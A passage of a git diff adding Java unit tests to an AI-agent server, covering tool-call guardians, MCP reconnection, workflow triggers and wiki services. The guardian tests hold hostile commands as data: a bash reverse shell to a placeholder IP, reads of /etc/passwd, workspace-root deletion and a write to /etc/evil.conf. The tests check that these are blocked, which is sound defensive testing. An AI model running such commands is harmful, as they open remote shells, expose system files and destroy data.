/tmp/data\"}", "conv-1", "agent-1"); + assertThat(guardian.evaluate(ctx)).isNotEmpty(); + } + + @Test + @DisplayName("flags a reverse-shell payload inside execute_code") + void flagsReverseShell() { + ShellCommandGuardian guardian = newGuardian(); + ToolInvocationContext ctx = ToolInvocationContext.of( + "execute_code", "{\"language\":\"bash\",\"code\":\"bash -i >& /dev/tcp/1.2.3.4/4444 0>&1\"}", + "conv-1", "agent-1"); + assertThat(guardian.evaluate(ctx)).isNotEmpty(); + } + + @Test + @DisplayName("benign code produces no findings") + void benignCodeClean() { + ShellCommandGuardian guardian = newGuardian(); + ToolInvocationContext ctx = ToolInvocationContext.of( + "execute_code", "{\"language\":\"python\",\"code\":\"print(sum(range(10)))\"}", + "conv-1", "agent-1"); + assertThat(guardian.evaluate(ctx)).isEmpty(); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/guard/guardian/WorkspaceBoundaryGuardianTest.java b/mateclaw-server/src/test/java/vip/mate/tool/guard/guardian/WorkspaceBoundaryGuardianTest.java new file mode 100644 index 00000000..8d527d05 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/guard/guardian/WorkspaceBoundaryGuardianTest.java @@ -0,0 +1,122 @@ +package vip.mate.tool.guard.guardian; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.DisabledOnOs; +import org.junit.jupiter.api.condition.OS; +import vip.mate.tool.guard.WorkspacePathGuard; +import vip.mate.tool.guard.model.GuardDecision; +import vip.mate.tool.guard.model.GuardFinding; +import vip.mate.tool.guard.model.GuardSeverity; +import vip.mate.tool.guard.model.ToolInvocationContext; + +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Verifies that {@link WorkspaceBoundaryGuardian} turns a workspace-boundary + * escape (or a delete of the workspace root) into a hard, un-approvable BLOCK + * at the policy layer — before the human-approval prompt (issue #313). + */ +@DisabledOnOs(OS.WINDOWS) // POSIX-style absolute paths in these cases +class WorkspaceBoundaryGuardianTest { + + private static final String WORKSPACE = "/tmp/ws-boundary-guardian-test"; + private static final String DEFAULT_ROOT = "/tmp/ws-boundary-default-root"; + + private final WorkspaceBoundaryGuardian guardian = new WorkspaceBoundaryGuardian(); + + @AfterEach + void teardown() { + WorkspacePathGuard.setDefaultRoot(null); + } + + private ToolInvocationContext shell(String command, String basePath) { + String args = "{\"command\":\"" + command.replace("\"", "\\\"") + "\"}"; + return ToolInvocationContext.of("execute_shell_command", args, "conv", "agent") + .withWorkspaceBasePath(basePath); + } + + private ToolInvocationContext write(String path, String basePath) { + String args = "{\"filePath\":\"" + path + "\",\"content\":\"x\"}"; + return ToolInvocationContext.of("write_file", args, "conv", "agent") + .withWorkspaceBasePath(basePath); + } + + private void assertBlocked(List findings) { + assertFalse(findings.isEmpty(), "expected a boundary finding"); + GuardFinding f = findings.get(0); + assertEquals(GuardSeverity.CRITICAL, f.severity()); + assertEquals(GuardDecision.BLOCK, f.decision()); + assertEquals("WORKSPACE_BOUNDARY_ESCAPE", f.ruleId()); + } + + // ==================== Shell ==================== + + @Test + @DisplayName("Shell command escaping the workspace → CRITICAL BLOCK finding") + void shellEscape_blocked() { + assertBlocked(guardian.evaluate(shell("cat /etc/passwd", WORKSPACE))); + assertBlocked(guardian.evaluate(shell("ls ..", WORKSPACE))); + } + + @Test + @DisplayName("Deleting the workspace root → CRITICAL BLOCK finding") + void rootDeletion_blocked() { + assertBlocked(guardian.evaluate(shell("rm -rf " + WORKSPACE, WORKSPACE))); + assertBlocked(guardian.evaluate(shell("rm -rf .", WORKSPACE))); + } + + @Test + @DisplayName("In-bounds shell command → no finding") + void shellInBounds_pass() { + assertTrue(guardian.evaluate(shell("ls -la", WORKSPACE)).isEmpty()); + assertTrue(guardian.evaluate(shell("cat " + WORKSPACE + "/foo.txt", WORKSPACE)).isEmpty()); + assertTrue(guardian.evaluate(shell("rm -rf " + WORKSPACE + "/subdir", WORKSPACE)).isEmpty()); + } + + // ==================== File path tools ==================== + + @Test + @DisplayName("write_file outside the workspace → CRITICAL BLOCK finding") + void writeOutside_blocked() { + assertBlocked(guardian.evaluate(write("/etc/evil.conf", WORKSPACE))); + } + + @Test + @DisplayName("write_file inside the workspace → no finding") + void writeInside_pass() { + assertTrue(guardian.evaluate(write(WORKSPACE + "/notes.txt", WORKSPACE)).isEmpty()); + } + + // ==================== Default-root fallback & escape hatch ==================== + + @Test + @DisplayName("No per-workspace base path → falls back to the global default root") + void defaultRootFallback_blocks() { + WorkspacePathGuard.setDefaultRoot(DEFAULT_ROOT); + // basePath null on the context, but the default root still confines. + assertBlocked(guardian.evaluate(shell("cat /etc/passwd", null))); + assertTrue(guardian.evaluate(shell("cat " + DEFAULT_ROOT + "/foo.txt", null)).isEmpty()); + } + + @Test + @DisplayName("No base path and no default root → guardian is a no-op") + void noBoundary_noop() { + assertTrue(guardian.evaluate(shell("cat /etc/passwd", null)).isEmpty()); + assertTrue(guardian.evaluate(write("/etc/passwd", null)).isEmpty()); + } + + @Test + @DisplayName("supports() only fires for shell and file-path tools") + void supports_scope() { + assertTrue(guardian.supports(shell("ls", WORKSPACE))); + assertTrue(guardian.supports(write("a.txt", WORKSPACE))); + assertFalse(guardian.supports( + ToolInvocationContext.of("web_search", "{}", "conv", "agent"))); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/mcp/runtime/McpClientManagerSnapshotTest.java b/mateclaw-server/src/test/java/vip/mate/tool/mcp/runtime/McpClientManagerSnapshotTest.java new file mode 100644 index 00000000..e62a57fd --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/mcp/runtime/McpClientManagerSnapshotTest.java @@ -0,0 +1,98 @@ +package vip.mate.tool.mcp.runtime; + +import io.modelcontextprotocol.client.McpSyncClient; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.ai.tool.ToolCallback; +import org.springframework.ai.tool.definition.DefaultToolDefinition; +import org.springframework.ai.tool.definition.ToolDefinition; +import org.springframework.ai.tool.metadata.ToolMetadata; +import org.springframework.context.ApplicationEventPublisher; +import vip.mate.tool.mcp.event.McpConnectionLostEvent; + +import java.lang.reflect.Field; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertSame; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Regression guard for issue #317: a stale {@code listTools()} (the upstream MCP + * server restarted while we held the connection) must NOT drop the whole server + * — that is what made the agent fall back to non-MCP tools. Instead the manager + * serves the last known-good callbacks and asks the service layer to reconnect. + */ +class McpClientManagerSnapshotTest { + + @Test + @DisplayName("stale listTools serves cached snapshot and requests a reconnect") + @SuppressWarnings("unchecked") + void staleListToolsServesSnapshotAndRequestsReconnect() throws Exception { + ApplicationEventPublisher publisher = mock(ApplicationEventPublisher.class); + McpClientManager manager = new McpClientManager(publisher); + + // A client whose connection went stale: every listTools() throws. + McpSyncClient deadClient = mock(McpSyncClient.class); + when(deadClient.listTools()).thenThrow(new RuntimeException("session not found")); + + long serverId = 77L; + List snapshot = List.of(new PrefixedNameToolCallback("mcp_77_search_abc123", stub("search"))); + + // Pre-seed the private state as if a previous successful collection ran. + ((Map) field(manager, "clients")).put(serverId, deadClient); + ((Map>) field(manager, "lastGoodCallbacks")).put(serverId, snapshot); + + List result = manager.getAllToolCallbacks(); + + // The cached snapshot is served verbatim — the server is NOT dropped. + assertEquals(1, result.size()); + assertSame(snapshot.get(0), result.get(0)); + + // A reconnect was requested for exactly this server. + verify(publisher, times(1)).publishEvent(any(McpConnectionLostEvent.class)); + } + + private static Object field(McpClientManager manager, String name) throws Exception { + Field f = McpClientManager.class.getDeclaredField(name); + f.setAccessible(true); + Object value = f.get(manager); + if (value == null) { + ConcurrentHashMap created = new ConcurrentHashMap<>(); + f.set(manager, created); + return created; + } + return value; + } + + private static ToolCallback stub(String rawName) { + return new ToolCallback() { + @Override + public ToolDefinition getToolDefinition() { + return DefaultToolDefinition.builder().name(rawName).description("").inputSchema("{}").build(); + } + + @Override + public ToolMetadata getToolMetadata() { + return ToolMetadata.builder().build(); + } + + @Override + public String call(String toolInput) { + return ""; + } + + @Override + public String call(String toolInput, ToolContext toolContext) { + return ""; + } + }; + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/trigger/ChannelMessageTriggerTest.java b/mateclaw-server/src/test/java/vip/mate/trigger/ChannelMessageTriggerTest.java index efe1964d..0c599e80 100644 --- a/mateclaw-server/src/test/java/vip/mate/trigger/ChannelMessageTriggerTest.java +++ b/mateclaw-server/src/test/java/vip/mate/trigger/ChannelMessageTriggerTest.java @@ -81,8 +81,7 @@ class ChannelMessageTriggerTest { publisher.publishEvent(new ChannelMessageReceivedEvent( workspace, "feishu", "msg-1", "alice", "Alice", "chat-1", "hello")); - List runs = runMapper.selectList( - new LambdaQueryWrapper().eq(WorkflowRunEntity::getWorkflowId, downstream)); + List runs = awaitRuns(downstream); assertEquals(1, runs.size(), "channel_message envelope should have triggered exactly one run"); assertEquals("succeeded", runs.get(0).getState()); assertTrue(runs.get(0).getTriggeredBy() != null @@ -116,8 +115,7 @@ class ChannelMessageTriggerTest { publisher.publishEvent(new ChannelMessageReceivedEvent( workspace, "feishu", "msg-2", "bob", "Bob", "chat-2", "hello")); - List runs = runMapper.selectList( - new LambdaQueryWrapper().eq(WorkflowRunEntity::getWorkflowId, downstream)); + List runs = awaitNoRuns(downstream); assertTrue(runs.isEmpty(), "channelType mismatch should leave the trigger dormant"); } @@ -148,8 +146,7 @@ class ChannelMessageTriggerTest { publisher.publishEvent(new ChannelMessageReceivedEvent( workspace, "feishu", "msg-3", "alice", "Alice", "chat-3", "Place an Order, please")); - List runs = runMapper.selectList( - new LambdaQueryWrapper().eq(WorkflowRunEntity::getWorkflowId, downstream)); + List runs = awaitRuns(downstream); assertEquals(1, runs.size(), "content_match should fire when the substring is present in the message"); } @@ -178,9 +175,28 @@ class ChannelMessageTriggerTest { publisher.publishEvent(new ChannelMessageReceivedEvent( workspace, "feishu", "msg-4", "alice", "Alice", "chat-4", "completely unrelated text")); - List runs = runMapper.selectList( - new LambdaQueryWrapper().eq(WorkflowRunEntity::getWorkflowId, downstream)); + List runs = awaitNoRuns(downstream); assertTrue(runs.isEmpty(), "missing substring should leave the content_match trigger dormant"); } + + // The channel-message event bridge dispatches on an @Async listener, so the + // downstream run is produced off the event-publishing thread. Poll briefly + // for it instead of reading immediately (which would race the listener). + private List awaitRuns(long workflowId) { + var q = new LambdaQueryWrapper().eq(WorkflowRunEntity::getWorkflowId, workflowId); + for (int i = 0; i < 50; i++) { + List runs = runMapper.selectList(q); + if (!runs.isEmpty()) return runs; + try { Thread.sleep(100); } catch (InterruptedException e) { Thread.currentThread().interrupt(); break; } + } + return runMapper.selectList(q); + } + + // Give the @Async listener time to run, then confirm it produced nothing. + private List awaitNoRuns(long workflowId) { + try { Thread.sleep(1000); } catch (InterruptedException e) { Thread.currentThread().interrupt(); } + return runMapper.selectList( + new LambdaQueryWrapper().eq(WorkflowRunEntity::getWorkflowId, workflowId)); + } } diff --git a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiEntityExtractionServiceTest.java b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiEntityExtractionServiceTest.java new file mode 100644 index 00000000..821ab7c3 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiEntityExtractionServiceTest.java @@ -0,0 +1,203 @@ +package vip.mate.wiki.service; + +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.fasterxml.jackson.databind.ObjectMapper; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.ai.chat.messages.AssistantMessage; +import org.springframework.ai.chat.metadata.ChatGenerationMetadata; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.model.Generation; +import org.springframework.ai.chat.prompt.Prompt; +import vip.mate.llm.service.ModelConfigService; +import vip.mate.wiki.job.WikiJobStep; +import vip.mate.wiki.job.WikiModelRoutingService; +import vip.mate.wiki.model.WikiChunkEntity; +import vip.mate.wiki.model.WikiEntityEntity; +import vip.mate.wiki.model.WikiEntityMentionEntity; +import vip.mate.wiki.model.WikiEntityRelationEntity; +import vip.mate.wiki.model.WikiKnowledgeBaseEntity; +import vip.mate.wiki.repository.WikiEntityMapper; +import vip.mate.wiki.repository.WikiEntityMentionMapper; +import vip.mate.wiki.repository.WikiEntityRelationMapper; +import vip.mate.wiki.repository.WikiPageCitationMapper; + +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.atomic.AtomicLong; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyLong; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Verifies the entity-extraction runtime logic against a mocked model + DB: + * the structured LLM output is parsed, entities are de-duplicated across + * chunks via the run cache, mentions are written per occurrence, and a + * resolved relation triple is persisted. This exercises the real + * {@link WikiEntityExtractionService} control flow, not just a stubbed call. + */ +class WikiEntityExtractionServiceTest { + + private static final Long KB_ID = 1L; + private static final Long RAW_ID = 100L; + + private static final String LLM_JSON = """ + { + "entities": [ + {"name": "Alice", "type": "person", "aliases": [], "description": "An engineer", "evidence": "Alice works at Acme"}, + {"name": "Acme", "type": "organization", "aliases": [], "description": "A company", "evidence": "Acme Corp"} + ], + "relations": [ + {"subject": "Alice", "predicate": "works for", "object": "Acme", "evidence": "Alice works at Acme"} + ] + } + """; + + private WikiKnowledgeBaseService kbService; + private WikiChunkService chunkService; + private WikiEmbeddingService embeddingService; + private WikiModelRoutingService routingService; + private ModelConfigService modelConfigService; + private WikiEntityMapper entityMapper; + private WikiEntityMentionMapper mentionMapper; + private WikiEntityRelationMapper relationMapper; + private WikiPageCitationMapper citationMapper; + + private WikiEntityExtractionService service; + + /** Simulated entity store so selectById sees what insert assigned. */ + private final Map store = new HashMap<>(); + + @BeforeEach + void setUp() { + kbService = mock(WikiKnowledgeBaseService.class); + chunkService = mock(WikiChunkService.class); + embeddingService = mock(WikiEmbeddingService.class); + routingService = mock(WikiModelRoutingService.class); + modelConfigService = mock(ModelConfigService.class); + entityMapper = mock(WikiEntityMapper.class); + mentionMapper = mock(WikiEntityMentionMapper.class); + relationMapper = mock(WikiEntityRelationMapper.class); + citationMapper = mock(WikiPageCitationMapper.class); + + service = new WikiEntityExtractionService( + kbService, chunkService, embeddingService, routingService, + modelConfigService, new ObjectMapper(), + entityMapper, mentionMapper, relationMapper, citationMapper); + + WikiKnowledgeBaseEntity kb = new WikiKnowledgeBaseEntity(); + kb.setId(KB_ID); + when(kbService.getById(KB_ID)).thenReturn(kb); + + // Model routing → a mock ChatModel that always returns the canned JSON. + ChatModel canned = cannedModel(LLM_JSON); + when(routingService.selectModelId(eq(KB_ID), any(), eq(WikiJobStep.ENTITY_EXTRACTION))) + .thenReturn(7L); + when(routingService.buildChatModel(7L)).thenReturn(canned); + + // No prior entities (with embeddings), no embedding vectors → exercise + // the exact-key dedup path (no embedding merge). + when(entityMapper.selectList(any())).thenReturn(Collections.emptyList()); + when(entityMapper.selectOne(any())).thenReturn(null); + when(embeddingService.embedQuery(anyLong(), any())).thenReturn(null); + + // No existing mentions → every chunk gets processed. + when(mentionMapper.selectCount(any(Wrapper.class))).thenReturn(0L); + when(citationMapper.listPageIdsByChunkId(anyLong())).thenReturn(Collections.emptyList()); + when(relationMapper.selectOne(any())).thenReturn(null); + + // insert assigns a snowflake-like id and records the row so selectById works. + AtomicLong seq = new AtomicLong(1000L); + when(entityMapper.insert(any(WikiEntityEntity.class))).thenAnswer(inv -> { + WikiEntityEntity e = inv.getArgument(0); + e.setId(seq.getAndIncrement()); + store.put(e.getId(), e); + return 1; + }); + when(entityMapper.selectById(anyLong())).thenAnswer(inv -> store.get(inv.getArgument(0))); + } + + @Test + @DisplayName("extractForRaw: dedups entities across chunks, writes mentions and a relation") + void extractForRaw_buildsGraph() { + when(chunkService.listByRawId(RAW_ID)).thenReturn(List.of( + chunk(1L, "Alice works at Acme."), + chunk(2L, "Acme promoted Alice."))); + + int touched = service.extractForRaw(KB_ID, RAW_ID); + + // Two distinct canonical entities despite two chunks naming them. + assertEquals(2, touched, "should resolve exactly two canonical entities"); + verify(entityMapper, times(2)).insert(any(WikiEntityEntity.class)); + + // One mention per (entity, chunk) occurrence → 2 entities * 2 chunks. + verify(mentionMapper, times(4)).insert(any(WikiEntityMentionEntity.class)); + + // The works_for triple is persisted once per chunk it appears in. + verify(relationMapper, times(2)).insert(any(WikiEntityRelationEntity.class)); + } + + @Test + @DisplayName("extractForKb(force): clears a chunk's prior mentions/relations before re-extracting") + void extractForKb_forceClearsBeforeReextract() { + when(chunkService.listByKbId(KB_ID)).thenReturn(List.of(chunk(1L, "Alice works at Acme."))); + // Chunk already processed → hasMentions() is true, so the force path runs + // its clear step instead of skipping. + when(mentionMapper.selectCount(any(Wrapper.class))).thenReturn(1L); + // One stale mention exists for this chunk, pointing at an entity not in + // the store (so the count-recompute loop simply skips it). + WikiEntityMentionEntity stale = new WikiEntityMentionEntity(); + stale.setEntityId(999L); + stale.setChunkId(1L); + when(mentionMapper.selectList(any())).thenReturn(List.of(stale)); + + int touched = service.extractForKb(KB_ID, true); + + assertEquals(2, touched, "should re-resolve both entities on a forced rebuild"); + // Stale artifacts wiped exactly once before re-extraction. + verify(mentionMapper, times(1)).delete(any()); + verify(relationMapper, times(1)).delete(any()); + // Fresh mentions re-inserted (2 entities), not duplicated on top of the old ones. + verify(mentionMapper, times(2)).insert(any(WikiEntityMentionEntity.class)); + } + + @Test + @DisplayName("extractForRaw: skips chunks that already have mentions") + void extractForRaw_skipsProcessedChunks() { + when(chunkService.listByRawId(RAW_ID)).thenReturn(List.of(chunk(1L, "Alice works at Acme."))); + when(mentionMapper.selectCount(any(Wrapper.class))).thenReturn(3L); + + int touched = service.extractForRaw(KB_ID, RAW_ID); + + assertEquals(0, touched); + verify(entityMapper, times(0)).insert(any(WikiEntityEntity.class)); + } + + private WikiChunkEntity chunk(Long id, String content) { + WikiChunkEntity c = new WikiChunkEntity(); + c.setId(id); + c.setKbId(KB_ID); + c.setRawId(RAW_ID); + c.setContent(content); + return c; + } + + private ChatModel cannedModel(String body) { + ChatModel model = mock(ChatModel.class); + when(model.call(any(Prompt.class))).thenReturn(new ChatResponse(List.of( + new Generation(new AssistantMessage(body), + ChatGenerationMetadata.builder().finishReason("STOP").build())))); + return model; + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiGlobSymlinkBaseE2ETest.java b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiGlobSymlinkBaseE2ETest.java new file mode 100644 index 00000000..742132de --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiGlobSymlinkBaseE2ETest.java @@ -0,0 +1,79 @@ +package vip.mate.wiki.service; + +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.io.TempDir; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Verifies glob matching works when the pattern's base directory is reached + * through a symbolic link. {@code WikiSourcePathValidator} canonicalizes the + * base with {@code toRealPath()}, so the walked files carry the symlink-resolved + * prefix; the matcher must be built against that resolved scan root rather than + * the literal pattern prefix, otherwise nothing matches and files are silently + * dropped. + */ +@SpringBootTest( + webEnvironment = SpringBootTest.WebEnvironment.NONE, + properties = { + "spring.flyway.enabled=true", + "spring.flyway.locations=classpath:db/migration/h2", + "mateclaw.feature-flag.refresh-ms=999999", + "mate.wiki.auto-process-on-upload=false" + } +) +class WikiGlobSymlinkBaseE2ETest { + + @Autowired + private WikiDirectoryScanService scanService; + + private static final java.util.concurrent.atomic.AtomicLong SEQ = + new java.util.concurrent.atomic.AtomicLong(System.nanoTime()); + + @Test + void globWithSymlinkBase_singleLevel_matches(@TempDir Path base) throws IOException { + Path realDir = Files.createDirectories(base.resolve("real")); + Files.writeString(realDir.resolve("a.txt"), "alpha"); + Files.write(realDir.resolve("b.pdf"), "PDF-bytes".getBytes()); + + Path linkDir = base.resolve("link"); + try { + Files.createSymbolicLink(linkDir, realDir); + } catch (UnsupportedOperationException | IOException e) { + return; // filesystem without symlink support — skip + } + + WikiDirectoryScanService.ScanResult result = + scanService.scanDirectory(SEQ.incrementAndGet(), linkDir + "/*.txt"); + + // Only a.txt matches; the .pdf is excluded by the explicit *.txt pattern. + // Before the fix the symlink-resolved file prefix never matched the literal + // pattern prefix, so added would be 0. + assertEquals(1, result.added(), "glob through a symlinked base must match the .txt file"); + } + + @Test + void globWithSymlinkBase_recursive_matchesSubdir(@TempDir Path base) throws IOException { + Path realDir = Files.createDirectories(base.resolve("real")); + Files.createDirectories(realDir.resolve("sub")); + Files.writeString(realDir.resolve("sub/c.txt"), "charlie"); + + Path linkDir = base.resolve("link"); + try { + Files.createSymbolicLink(linkDir, realDir); + } catch (UnsupportedOperationException | IOException e) { + return; // filesystem without symlink support — skip + } + + WikiDirectoryScanService.ScanResult result = + scanService.scanDirectory(SEQ.incrementAndGet(), linkDir + "/**/*.txt"); + + assertEquals(1, result.added(), "recursive glob through a symlinked base must match the nested .txt file"); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiKnowledgeBaseServiceTest.java b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiKnowledgeBaseServiceTest.java index 6e445242..7be62c78 100644 --- a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiKnowledgeBaseServiceTest.java +++ b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiKnowledgeBaseServiceTest.java @@ -2,6 +2,9 @@ package vip.mate.wiki.service; import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Test; +import org.springframework.test.util.ReflectionTestUtils; +import vip.mate.agent.binding.model.AgentWikiKbBinding; +import vip.mate.agent.binding.repository.AgentWikiKbBindingMapper; import vip.mate.agent.model.AgentEntity; import vip.mate.agent.repository.AgentMapper; import vip.mate.wiki.model.WikiKnowledgeBaseEntity; @@ -227,4 +230,82 @@ class WikiKnowledgeBaseServiceTest { assertThat(service.findVisibleById(7L, 99999L)).isNull(); assertThat(service.findVisibleById(7L, null)).isNull(); } + + // ==================== Agent ↔ KB access scope (issue #261) ==================== + // + // When an agent has scope rows in mate_agent_wiki_kb, listByAgentId — the + // single choke point every wiki tool reads through — must narrow the + // workspace-wide KB set to the bound subset. No rows = unrestricted, so + // every pre-scoping agent keeps its old workspace-wide visibility. + + private AgentWikiKbBindingMapper bindScope(long... kbIds) { + AgentWikiKbBindingMapper mapper = mock(AgentWikiKbBindingMapper.class); + java.util.List rows = new java.util.ArrayList<>(); + for (long kbId : kbIds) { + AgentWikiKbBinding row = new AgentWikiKbBinding(); + row.setKbId(kbId); + row.setEnabled(true); + rows.add(row); + } + when(mapper.selectList(any())).thenReturn(rows); + ReflectionTestUtils.setField(service, "kbBindingMapper", mapper); + return mapper; + } + + @Test + @DisplayName("scope narrows listByAgentId to the bound KBs only") + void scopeRestrictsVisibleKbs() { + bindScope(100L, 300L); + when(agentMapper.selectById(7L)).thenReturn(agent(7L, 1L, 100L)); + when(kbMapper.selectList(any())).thenReturn(List.of( + kb(100L, null, 1L, "Business KB"), + kb(200L, null, 1L, "Unrelated KB"), + kb(300L, null, 1L, "Other Business KB"))); + + List visible = service.listByAgentId(7L); + assertThat(visible).extracting(WikiKnowledgeBaseEntity::getId) + .containsExactlyInAnyOrder(100L, 300L); + // The out-of-scope KB is invisible even when targeted by id directly. + assertThat(service.findVisibleById(7L, 200L)).isNull(); + assertThat(service.findVisibleById(7L, 300L)).isNotNull(); + } + + @Test + @DisplayName("no scope rows leaves the agent unrestricted (workspace-wide)") + void noScopeMeansUnrestricted() { + bindScope(); // empty → mapper returns no rows + when(agentMapper.selectById(7L)).thenReturn(agent(7L, 1L, null)); + when(kbMapper.selectList(any())).thenReturn(List.of( + kb(100L, null, 1L, "KB A"), + kb(200L, null, 1L, "KB B"))); + + assertThat(service.listByAgentId(7L)).extracting(WikiKnowledgeBaseEntity::getId) + .containsExactlyInAnyOrder(100L, 200L); + } + + @Test + @DisplayName("a stale scope row for a removed/moved KB simply drops out") + void staleScopeRowIsIntersectedAway() { + bindScope(100L, 999L); // 999 no longer in the workspace + when(agentMapper.selectById(7L)).thenReturn(agent(7L, 1L, 100L)); + when(kbMapper.selectList(any())).thenReturn(List.of( + kb(100L, null, 1L, "Live KB"), + kb(200L, null, 1L, "Unrelated KB"))); + + assertThat(service.listByAgentId(7L)).extracting(WikiKnowledgeBaseEntity::getId) + .containsExactly(100L); + } + + @Test + @DisplayName("primary KB resolution respects the scope") + void primaryKbRespectsScope() { + bindScope(300L); + // primary points at an out-of-scope KB → falls back to a scoped one. + when(agentMapper.selectById(7L)).thenReturn(agent(7L, 1L, 100L)); + when(kbMapper.selectList(any())).thenReturn(List.of( + kb(100L, null, 1L, "Out Of Scope Primary"), + kb(300L, null, 1L, "Scoped KB"))); + + assertThat(service.resolvePrimaryKb(7L).getId()).isEqualTo(300L); + } } diff --git a/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiLinkServiceBrokenLinkTest.java b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiLinkServiceBrokenLinkTest.java new file mode 100644 index 00000000..3e3925c5 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/wiki/service/WikiLinkServiceBrokenLinkTest.java @@ -0,0 +1,188 @@ +package vip.mate.wiki.service; + +import com.fasterxml.jackson.databind.ObjectMapper; +import org.junit.jupiter.api.Test; +import vip.mate.wiki.model.WikiPageEntity; + +import java.util.List; +import java.util.Set; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Coverage for broken-link computation, focused on the slug-or-title + * resolution contract that {@link WikiLinkService#resolvableTargetKeys} and + * {@link WikiLinkService#computeBrokenLinks} jointly enforce. + * + *

    The page viewer's {@code resolveWikilink} treats a {@code [[target]]} as + * a hit when it matches either an existing page slug OR an existing page title. + * The lint must agree, otherwise a {@code [[Page Title]]} reference to a real + * page is rendered as a working link yet reported as a broken link — the + * false-positive class this test pins down. The mismatch is most visible when + * slugs are transliterated (a CJK title stored under a pinyin slug). + */ +class WikiLinkServiceBrokenLinkTest { + + private final WikiLinkService svc = new WikiLinkService(new ObjectMapper()); + + private static WikiPageEntity page(String slug, String title) { + WikiPageEntity p = new WikiPageEntity(); + p.setSlug(slug); + p.setTitle(title); + return p; + } + + /** Mirrors the real KB in issue #333: Chinese titles, pinyin slugs. */ + private List cjkKb() { + return List.of( + page("guanghe-zuoyong", "光合作用"), + page("xianliti", "线粒体"), + page("yelvti", "叶绿体"), + page("nengliang-daixie", "能量代谢"), + page("energy-metabolism", "Energy Metabolism")); + } + + @Test + void resolvableKeysCarryBothSlugAndTitle() { + Set keys = svc.resolvableTargetKeys(cjkKb()); + assertTrue(keys.contains("guanghe-zuoyong"), "slug must be a key"); + assertTrue(keys.contains("光合作用"), "title must be a key"); + assertTrue(keys.contains("energy-metabolism")); + assertTrue(keys.contains("energy metabolism"), "title lowercased, spaces kept"); + } + + @Test + void titleFormLinkToExistingCjkPageIsNotBroken() { + // The model naturally writes the readable title, not the pinyin slug. + String content = "参见 [[光合作用]] 与 [[线粒体]]。"; + WikiLinkService.LinkAnalysis a = svc.analyze(content, svc.resolvableTargetKeys(cjkKb())); + assertTrue(a.brokenLinks().isEmpty(), + "title-form links to existing pages must resolve, got: " + a.brokenLinks()); + } + + @Test + void slugFormLinkIsNotBroken() { + String content = "See [[guanghe-zuoyong]] and [[energy-metabolism]]."; + WikiLinkService.LinkAnalysis a = svc.analyze(content, svc.resolvableTargetKeys(cjkKb())); + assertTrue(a.brokenLinks().isEmpty(), "slug-form links must resolve, got: " + a.brokenLinks()); + } + + @Test + void englishTitleWithSpacesResolvesAgainstTitleNotSlug() { + // slug is "energy-metabolism" (dashed); the title has a space. Only the + // title key can match the [[Energy Metabolism]] target. + String content = "Read [[Energy Metabolism]] first."; + WikiLinkService.LinkAnalysis a = svc.analyze(content, svc.resolvableTargetKeys(cjkKb())); + assertTrue(a.brokenLinks().isEmpty(), "title-with-space must resolve, got: " + a.brokenLinks()); + } + + @Test + void aliasFormResolvesOnTitleTarget() { + String content = "更多见 [[线粒体|线粒体别名]]。"; + WikiLinkService.LinkAnalysis a = svc.analyze(content, svc.resolvableTargetKeys(cjkKb())); + assertTrue(a.brokenLinks().isEmpty(), "aliased title link must resolve, got: " + a.brokenLinks()); + } + + @Test + void genuinelyMissingTargetIsStillBroken() { + String content = "悬挂引用 [[不存在的概念XYZ]] 应当被标记。"; + WikiLinkService.LinkAnalysis a = svc.analyze(content, svc.resolvableTargetKeys(cjkKb())); + assertEquals(List.of("不存在的概念xyz"), a.brokenLinks(), + 